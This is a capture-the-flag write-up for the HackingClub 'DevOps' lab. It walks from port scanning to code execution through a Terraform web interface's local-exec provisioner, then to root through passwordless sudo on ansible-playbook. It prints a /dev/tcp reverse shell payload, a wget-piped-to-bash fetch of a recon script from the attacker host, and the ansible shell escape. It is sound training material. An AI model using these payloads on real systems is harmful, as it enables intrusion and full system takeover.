↓Skip to main content

[Write-Up] HackingClub: DevOps

·7 mins

Recon #

Nmap #

┌──(kali㉿kali)-[~/Machines/HC-DevOps]
└─$ nmap -sV devops.hc 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-15 21:37 -0400
Nmap scan report for devops.hc (172.16.10.6)
Host is up (0.43s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.68 (())
111/tcp open  rpcbind 2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.37 seconds

Doing a NMap scan on most frequent ports we got an SSH service, a HTTP service and a RPCBind service, all running on default ports.

Enumeration #

Fuzzing HTTP #

┌──(kali㉿kali)-[~/Machines/HC-DevOps]
└─$ ffuf -u http://devops.hc/FUZZ -w /usr/share/wordlists/dirb/small.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://devops.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

cgi-bin/                [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 158ms]
class                   [Status: 301, Size: 271, Words: 15, Lines: 8, Duration: 143ms]
template                [Status: 301, Size: 274, Words: 15, Lines: 8, Duration: 146ms]
:: Progress: [959/959] :: Job [1/1] :: 264 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

Manual Exploration #

We got a Terraform interface running on a web server with endpoint for plan, apply and destroy actions. We can load our on Terraform recipe on the site. There’s a Terraform feature to run commands on a local machine using local-exec.

If we can run it, we can run arbitrary commands on the machine.

As a POC, we add our Terraform code:

provider "aws" {
    region = "us-east-1"
}

resource "null_resource" "example" {
    provisioner "local-exec" {
        command = "echo 'hello world'"
        interpreter = ["/bin/bash", "-c"]
    }
} 

After this, we run apply and get the following output:

console output
$ terraform apply
Terraform 1.0.5
null_resource.example: Plan to create
Plan: 1 to add, 0 to change, 0 to destroy.
null_resource.example: Creating...
null_resource.example: Provisioning with 'local-exec'...
null_resource.example: (local-exec): Executing: ["/bin/bash" "-c" "echo 'hello world'"]
null_resource.example: (local-exec): hello world
null_resource.example: (local-exec) Provisioning complete
null_resource.example: Creation complete after 0s [id=1580644883941738392]
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
Outputs: 0

We must destroy the Terraform created before we execute a new command.

Vulnerabilities #

Remote Code Execution #

Through the Terraform interface and using the local-exec feature form Terraform get a form of Remote Code Execution where we can run arbitrary bash (or other languages, if we choose another intepreter).

This enable us to run any command we want to get the first flag and run a reverse shell to try and perform privilege escaltion.

Exploitation #

Reverse shell payload:

provider "aws" {
    region = "us-east-1"
}

resource "null_resource" "example" {
    provisioner "local-exec" {
        command = "bash -i >& /dev/tcp/10.0.9.28/4444 0>&1"
        interpreter = ["/bin/bash", "-c"]
    }
} 

After we apply this, we get a reverse shell:

┌──(kali㉿kali)-[~/Machines/HC-DevOps]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.2.141] 37458
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$ 

First flag is located at the root of the system:

bash-4.2$ cd /
bash-4.2$ ls -lhart
total 20K
drwxr-xr-x   2 root root    6 Apr  9  2019 srv
drwxr-xr-x   2 root root    6 Apr  9  2019 mnt
drwxr-xr-x   2 root root    6 Apr  9  2019 media
drwxr-xr-x   2 root root    6 Jul 26  2021 local
lrwxrwxrwx   1 root root    8 Jul 26  2021 sbin -> usr/sbin
lrwxrwxrwx   1 root root    9 Jul 26  2021 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    7 Jul 26  2021 lib -> usr/lib
lrwxrwxrwx   1 root root    7 Jul 26  2021 bin -> usr/bin
drwxr-xr-x  13 root root  155 Jul 26  2021 usr
drwxr-xr-x   4 root root   27 Jul 26  2021 opt
-rw-r--r--   1 root root    0 Aug 28  2021 .autorelabel
drwxr-xr-x   3 root root   22 Aug 28  2021 home
drwxr-xr-x  20 root root  280 Aug 28  2021 var
-rw-r--r--   1 root root   67 Aug 28  2021 flag
dr-xr-xr-x  18 root root  269 Aug 28  2021 ..
dr-xr-xr-x  18 root root  269 Aug 28  2021 .
dr-xr-x---   4 root root  156 Aug 28  2021 root
dr-xr-xr-x 116 root root    0 Sep 16 02:09 proc
drwxr-xr-x  14 root root 2.8K Sep 16 02:09 dev
drwxr-xr-x  86 root root 8.0K Sep 16 02:10 etc
dr-xr-xr-x   4 root root 4.0K Sep 16 02:10 boot
drwxr-xr-x  31 root root 1020 Sep 16 02:10 run
dr-xr-xr-x  13 root root    0 Sep 16 02:25 sys
drwxrwxrwt   3 root root  100 Sep 16 02:47 tmp
bash-4.2$ cat flag 
UHCLABS{REDACTED}

Privilege Escalation #

After we get initial user, we run our small linux recon script:

bash-4.2$ wget -qO - http://10.0.9.28:8000/linrecon.sh | bash
[+] Current user: apache
    User id: uid=48(apache) gid=48(apache) groups=48(apache)
    User groups: apache
[+] Passwordless sudo commands: 
Matching Defaults entries for apache on ip-172-16-2-141:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User apache may run the following commands on ip-172-16-2-141:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook
[+] User history:

[+] Loading /etc/passwd content
[+] Login users:
root
ec2-user
Home (/root
/root) for root
ls: cannot open directory /root: Permission denied
ls: cannot open directory /root: Permission denied
Home (/home/ec2-user) for ec2-user
ls: cannot open directory /home/ec2-user: Permission denied

=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.2.141 
[+] Kernel Version: Linux version 4.14.238-182.422.amzn2.x86_64 (mockbuild@ip-10-0-1-132) (gcc version 7.3.1 20180712 (Red Hat 7.3.1-13) (GCC)) #1 SMP Tue Jul 20 20:35:54 UTC 2021
[+] Linux Distro: \S
Kernel \r on an \m
---------
=== MACHINE STATE ===
[+] Running proccess
[+] Environment variables
TERM=xterm-256color
TF_TEMP_LOG_PATH=/tmp/terraform-log229954898
USER=apache
PWD=/tmp/11f1d1bcfd1a677178d0966f0d9b3b33
TF_PANICWRAP_STDERR=false:78
SHLVL=5
HOME=/usr/share/httpd
LC_CTYPE=C.UTF-8
_=/usr/bin/env
[+] Network state of the machine
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0   2028 172.16.2.141:37458      10.0.9.28:4444          ESTABLISHED 8816/bash           
tcp        0      1 172.16.2.141:44640      10.0.9.28:8000          LAST_ACK    -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
[+] Bash sensitive files
/etc/skel/.bash_logout
/etc/skel/.bash_profile
/etc/skel/.bashrc
[+] 0777 files
[+] SUID files
[+] Files changed recently
[+] Files with capabilities
[+] Cron jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

Strongest find we have is that apache can run ansible-playbook as sudo, that is a very easy vector to get root.

bash-4.2$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/tmp/ans
bash-4.2$ sudo -l
Matching Defaults entries for apache on ip-172-16-2-141:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User apache may run the following commands on ip-172-16-2-141:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook
bash-4.2$ sudo/usr/bin/ansible-playbook^C
bash-4.2$ sudo /usr/bin/ansible-playbook /tmp/ans
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not
match 'all'

PLAY [localhost] **************************************************************************************************

TASK [Gathering Facts] ********************************************************************************************
ok: [localhost]

TASK [shell] ******************************************************************************************************
sh-4.2# whoami
root
sh-4.2# cd /root
sh-4.2# cat root.txt 
UHCLABS{REDACTED}

Flags #

  • User (Terraform local-exec RCE): UHCLABS{REDACTED}
  • Root (passwordless sudo on ansible-playbook): UHCLABS{REDACTED}